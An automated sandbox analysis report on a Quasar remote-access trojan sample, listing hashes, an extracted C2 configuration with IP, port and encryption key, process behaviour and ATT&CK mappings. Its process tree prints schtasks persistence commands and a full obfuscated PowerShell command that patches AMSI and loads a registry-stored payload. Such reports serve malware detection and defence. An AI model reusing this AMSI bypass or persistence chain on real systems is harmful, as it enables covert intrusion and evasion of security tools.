quasar | bbecd1e502693965f493ecb6a611dd86dc71b4bcb8471cf4c459d0b44e9f6378

Reason

Machine shutdown: "{\"level\":\"info\",\"time\":\"2024-04-21T17:21:06Z\",\"message\":\"Dirty snapshot: /var/lib/sandbox/hatchvm/win10v2004-20240412-en/instance_17-dirty.qcow2\"}"

General

Target

Sexy.exe
Size

409KB
MD5

4c5faec89139e079202a5208d49ed5a0
SHA1

f26bf551e191af0dd01b5d39ae0c8489d94a877e
SHA256

bbecd1e502693965f493ecb6a611dd86dc71b4bcb8471cf4c459d0b44e9f6378
SHA512

5d31a95a76a2d17967f685b47823682f8301164ee9386f267f2ce28b866429dfb48aa7ef7cb21a7ab8b732286fb99eee989d10e5040ea69a361ba83b0b22ec64
SSDEEP

12288:iBwz9kOUJIOSQoxdKIT00N2f3DPcCYDVouW5:i+JLOsVRi3YCYg

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

C2

147.185.221.19:33587

Mutex

$Sxr-zpFqsQjJJh3miBvVnu

Attributes

encryption_key
LxGS9iJRjIMm1rV0MEzT
install_name
BiosUpdX64YDPS.exe
log_directory
$sxr
reconnect_delay
3000
startup_key
$sxr-mtsha
subdirectory
Windows

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2012-0-0x00000000002A0000-0x000000000030C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4936 created 616 4936 powershell.EXE winlogon.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

BiosUpdX64YDPS.exeInstall.exe

pid process

2664 BiosUpdX64YDPS.exe
2392 Install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

27 raw.githubusercontent.com
31 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

15 ip-api.com

description	pid	process	target process
PID 4936 created 616	4936	powershell.EXE	winlogon.exe

pid	process
2664	BiosUpdX64YDPS.exe
2392	Install.exe

flow	ioc
27	raw.githubusercontent.com
31	raw.githubusercontent.com

flow	ioc
15	ip-api.com

Drops file in System32 directory 2 IoCs

Processes:

powershell.EXE

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4936 set thread context of 3028 4936 powershell.EXE dllhost.exe
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeSCHTASKS.exe

pid process

2112 schtasks.exe
3888 schtasks.exe
4040 SCHTASKS.exe

description	pid	process	target process
PID 4936 set thread context of 3028	4936	powershell.EXE	dllhost.exe

pid	process
2112	schtasks.exe
3888	schtasks.exe
4040	SCHTASKS.exe

Modifies data under HKEY_USERS 59 IoCs

Processes:

powershell.EXEdwm.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.EXEdllhost.exe

pid process

4936 powershell.EXE
4936 powershell.EXE
4936 powershell.EXE
3028 dllhost.exe
3028 dllhost.exe
3028 dllhost.exe
3028 dllhost.exe

pid	process
4936	powershell.EXE
4936	powershell.EXE
4936	powershell.EXE
3028	dllhost.exe
3028	dllhost.exe
3028	dllhost.exe
3028	dllhost.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

Sexy.exeBiosUpdX64YDPS.exepowershell.EXEdllhost.exedwm.exe

description	pid	process
Token: SeDebugPrivilege	2012	Sexy.exe
Token: SeDebugPrivilege	2664	BiosUpdX64YDPS.exe
Token: SeDebugPrivilege	4936	powershell.EXE
Token: SeDebugPrivilege	4936	powershell.EXE
Token: SeDebugPrivilege	3028	dllhost.exe
Token: SeCreateGlobalPrivilege	4852	dwm.exe
Token: SeChangeNotifyPrivilege	4852	dwm.exe
Token: 33	4852	dwm.exe
Token: SeIncBasePriorityPrivilege	4852	dwm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

BiosUpdX64YDPS.exe

pid process

2664 BiosUpdX64YDPS.exe

pid	process
2664	BiosUpdX64YDPS.exe

Suspicious use of WriteProcessMemory 46 IoCs

Processes:

Sexy.exeBiosUpdX64YDPS.exepowershell.EXEdllhost.exelsass.exewinlogon.exe

description	pid	process	target process
PID 2012 wrote to memory of 2112	2012	Sexy.exe	schtasks.exe
PID 2012 wrote to memory of 2112	2012	Sexy.exe	schtasks.exe
PID 2012 wrote to memory of 2112	2012	Sexy.exe	schtasks.exe
PID 2012 wrote to memory of 2664	2012	Sexy.exe	BiosUpdX64YDPS.exe
PID 2012 wrote to memory of 2664	2012	Sexy.exe	BiosUpdX64YDPS.exe
PID 2012 wrote to memory of 2664	2012	Sexy.exe	BiosUpdX64YDPS.exe
PID 2664 wrote to memory of 3888	2664	BiosUpdX64YDPS.exe	schtasks.exe
PID 2664 wrote to memory of 3888	2664	BiosUpdX64YDPS.exe	schtasks.exe
PID 2664 wrote to memory of 3888	2664	BiosUpdX64YDPS.exe	schtasks.exe
PID 2012 wrote to memory of 2392	2012	Sexy.exe	Install.exe
PID 2012 wrote to memory of 2392	2012	Sexy.exe	Install.exe
PID 2012 wrote to memory of 2392	2012	Sexy.exe	Install.exe
PID 2012 wrote to memory of 4040	2012	Sexy.exe	SCHTASKS.exe
PID 2012 wrote to memory of 4040	2012	Sexy.exe	SCHTASKS.exe
PID 2012 wrote to memory of 4040	2012	Sexy.exe	SCHTASKS.exe
PID 4936 wrote to memory of 3028	4936	powershell.EXE	dllhost.exe
PID 4936 wrote to memory of 3028	4936	powershell.EXE	dllhost.exe
PID 4936 wrote to memory of 3028	4936	powershell.EXE	dllhost.exe
PID 4936 wrote to memory of 3028	4936	powershell.EXE	dllhost.exe
PID 4936 wrote to memory of 3028	4936	powershell.EXE	dllhost.exe
PID 4936 wrote to memory of 3028	4936	powershell.EXE	dllhost.exe
PID 4936 wrote to memory of 3028	4936	powershell.EXE	dllhost.exe
PID 4936 wrote to memory of 3028	4936	powershell.EXE	dllhost.exe
PID 3028 wrote to memory of 616	3028	dllhost.exe	winlogon.exe
PID 3028 wrote to memory of 672	3028	dllhost.exe	lsass.exe
PID 3028 wrote to memory of 964	3028	dllhost.exe	svchost.exe
PID 3028 wrote to memory of 316	3028	dllhost.exe	dwm.exe
PID 3028 wrote to memory of 516	3028	dllhost.exe	svchost.exe
PID 3028 wrote to memory of 64	3028	dllhost.exe	svchost.exe
PID 672 wrote to memory of 2684	672	lsass.exe	sysmon.exe
PID 672 wrote to memory of 2684	672	lsass.exe	sysmon.exe
PID 3028 wrote to memory of 1116	3028	dllhost.exe	svchost.exe
PID 672 wrote to memory of 2684	672	lsass.exe	sysmon.exe
PID 3028 wrote to memory of 1128	3028	dllhost.exe	svchost.exe
PID 3028 wrote to memory of 1144	3028	dllhost.exe	svchost.exe
PID 3028 wrote to memory of 1156	3028	dllhost.exe	svchost.exe
PID 3028 wrote to memory of 1232	3028	dllhost.exe	svchost.exe
PID 3028 wrote to memory of 1296	3028	dllhost.exe	svchost.exe
PID 672 wrote to memory of 2684	672	lsass.exe	sysmon.exe
PID 616 wrote to memory of 4852	616	winlogon.exe	dwm.exe
PID 616 wrote to memory of 4852	616	winlogon.exe	dwm.exe
PID 3028 wrote to memory of 4852	3028	dllhost.exe	dwm.exe
PID 672 wrote to memory of 2684	672	lsass.exe	sysmon.exe
PID 3028 wrote to memory of 1348	3028	dllhost.exe	svchost.exe
PID 3028 wrote to memory of 1388	3028	dllhost.exe	svchost.exe
PID 3028 wrote to memory of 1416	3028	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:616

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:316

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{0d225944-97c7-4602-919b-a9dd52a9f71d}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3028

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4852

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:516

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:64

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1144

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:jSSOifhkYBAD{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$fCVujelLvgMBuH,[Parameter(Position=1)][Type]$yHZinilMsS)$MgJWJYGEJtR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+''+[Char](108)+'e'+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+'l'+'e'+''+[Char](103)+''+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+[Char](101)+''+[Char](109)+''+'o'+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+'l'+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+'a'+''+[Char](116)+'e'+[Char](84)+'y'+'p'+'e',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+'P'+'u'+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+','+''+[Char](83)+''+'e'+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+'a'+[Char](115)+''+[Char](115)+',A'+'u'+''+'t'+'o'+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$MgJWJYGEJtR.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+[Char](99)+''+[Char](105)+'a'+'l'+'Na'+'m'+''+[Char](101)+''+[Char](44)+''+'H'+''+[Char](105)+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+','+'P'+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$fCVujelLvgMBuH).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+'ana'+[Char](103)+'e'+[Char](100)+'');$MgJWJYGEJtR.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'',''+'P'+''+'u'+'b'+'l'+''+[Char](105)+'c,'+'H'+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+''+'e'+''+'w'+''+'S'+''+[Char](108)+''+'o'+''+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+'rt'+[Char](117)+''+'a'+''+'l'+'',$yHZinilMsS,$fCVujelLvgMBuH).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+','+''+'M'+''+'a'+''+'n'+''+[Char](97)+'ge'+[Char](100)+'');Write-Output $MgJWJYGEJtR.CreateType();}$EbOERIfEgTXPE=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+'t'+[Char](101)+''+'m'+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+'i'+''+[Char](99)+'r'+'o'+'so'+'f'+''+'t'+''+'.'+'W'+[Char](105)+''+'n'+'32'+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+'e'+''+'N'+'at'+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+''+[Char](101)+''+[Char](116)+''+[Char](104)+'o'+[Char](100)+''+[Char](115)+'');$appMdvoPTYEfdJ=$EbOERIfEgTXPE.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+'d'+[Char](114)+''+[Char](101)+''+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+'at'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GBwzbFMIKllHhDIsWLr=jSSOifhkYBAD @([String])([IntPtr]);$poNyvMVIljgQErmbpAOKhu=jSSOifhkYBAD @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$qJmiQocJdSs=$EbOERIfEgTXPE.GetMethod(''+'G'+''+'e'+''+[Char](116)+'M'+'o'+''+[Char](100)+'u'+[Char](108)+'e'+[Char](72)+''+'a'+'n'+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+[Char](51)+''+[Char](50)+'.'+'d'+''+[Char](108)+''+'l'+'')));$ZktniegNpOSJta=$appMdvoPTYEfdJ.Invoke($Null,@([Object]$qJmiQocJdSs,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+'y'+'A'+'')));$CweMBIrhvMlgSQeLv=$appMdvoPTYEfdJ.Invoke($Null,@([Object]$qJmiQocJdSs,[Object](''+[Char](86)+'ir'+[Char](116)+''+[Char](117)+'a'+'l'+'P'+[Char](114)+''+'o'+''+'t'+'e'+'c'+''+[Char](116)+'')));$mjSIkVZ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZktniegNpOSJta,$GBwzbFMIKllHhDIsWLr).Invoke(''+'a'+''+'m'+''+'s'+'i'+'.'+'dl'+[Char](108)+'');$VzQsSKESKVcMvQAMp=$appMdvoPTYEfdJ.Invoke($Null,@([Object]$mjSIkVZ,[Object](''+'A'+'ms'+[Char](105)+'S'+[Char](99)+'an'+[Char](66)+''+[Char](117)+'f'+[Char](102)+'e'+[Char](114)+'')));$zUnOcRKPli=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CweMBIrhvMlgSQeLv,$poNyvMVIljgQErmbpAOKhu).Invoke($VzQsSKESKVcMvQAMp,[uint32]8,4,[ref]$zUnOcRKPli);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$VzQsSKESKVcMvQAMp,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CweMBIrhvMlgSQeLv,$poNyvMVIljgQErmbpAOKhu).Invoke($VzQsSKESKVcMvQAMp,[uint32]8,0x20,[ref]$zUnOcRKPli);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+'F'+'T'+[Char](87)+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](36)+''+[Char](55)+''+'7'+''+'s'+''+[Char](116)+'ag'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4936

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1416

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2684

C:\Users\Admin\AppData\Local\Temp\Sexy.exe
"C:\Users\Admin\AppData\Local\Temp\Sexy.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2012

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-mtsha" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Sexy.exe" /rl HIGHEST /f
2⤵
- Creates scheduled task(s)
PID:2112

C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe
"C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2664

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-mtsha" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:3888

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
2⤵
- Executes dropped EXE
PID:2392

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77Sexy.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Sexy.exe'" /sc onlogon /rl HIGHEST
2⤵
- Creates scheduled task(s)
PID:4040

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Install.exe
Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe
Filesize
409KB

MD5
4c5faec89139e079202a5208d49ed5a0

SHA1
f26bf551e191af0dd01b5d39ae0c8489d94a877e

SHA256
bbecd1e502693965f493ecb6a611dd86dc71b4bcb8471cf4c459d0b44e9f6378

SHA512
5d31a95a76a2d17967f685b47823682f8301164ee9386f267f2ce28b866429dfb48aa7ef7cb21a7ab8b732286fb99eee989d10e5040ea69a361ba83b0b22ec64

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_yxnotepy.eqb.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/316-115-0x00007FF914FED000-0x00007FF914FEE000-memory.dmp

Filesize
4KB

Download
memory/316-91-0x00000290140A0000-0x00000290140CB000-memory.dmp

Filesize
172KB

Download
memory/516-102-0x000001958CC60000-0x000001958CC8B000-memory.dmp

Filesize
172KB

Download
memory/616-65-0x00007FF8D4FD0000-0x00007FF8D4FE0000-memory.dmp

Filesize
64KB

Download
memory/616-54-0x00000185A8440000-0x00000185A8465000-memory.dmp

Filesize
148KB

Download
memory/616-66-0x00007FF914FED000-0x00007FF914FEE000-memory.dmp

Filesize
4KB

Download
memory/616-64-0x00000185A84E0000-0x00000185A850B000-memory.dmp

Filesize
172KB

Download
memory/616-56-0x00000185A84E0000-0x00000185A850B000-memory.dmp

Filesize
172KB

Download
memory/616-55-0x00000185A84E0000-0x00000185A850B000-memory.dmp

Filesize
172KB

Download
memory/672-85-0x00007FF914FEC000-0x00007FF914FED000-memory.dmp

Filesize
4KB

Download
memory/672-84-0x00007FF914FEF000-0x00007FF914FF0000-memory.dmp

Filesize
4KB

Download
memory/672-79-0x00007FF8D4FD0000-0x00007FF8D4FE0000-memory.dmp

Filesize
64KB

Download
memory/672-78-0x000001A9023C0000-0x000001A9023EB000-memory.dmp

Filesize
172KB

Download
memory/672-70-0x000001A9023C0000-0x000001A9023EB000-memory.dmp

Filesize
172KB

Download
memory/964-87-0x00000270CC3E0000-0x00000270CC40B000-memory.dmp

Filesize
172KB

Download
memory/2012-4-0x0000000004CC0000-0x0000000004CD0000-memory.dmp

Filesize
64KB

Download
memory/2012-5-0x0000000004D60000-0x0000000004DC6000-memory.dmp

Filesize
408KB

Download
memory/2012-1-0x0000000074950000-0x0000000075100000-memory.dmp

Filesize
7.7MB

Download
memory/2012-2-0x0000000005310000-0x00000000058B4000-memory.dmp

Filesize
5.6MB

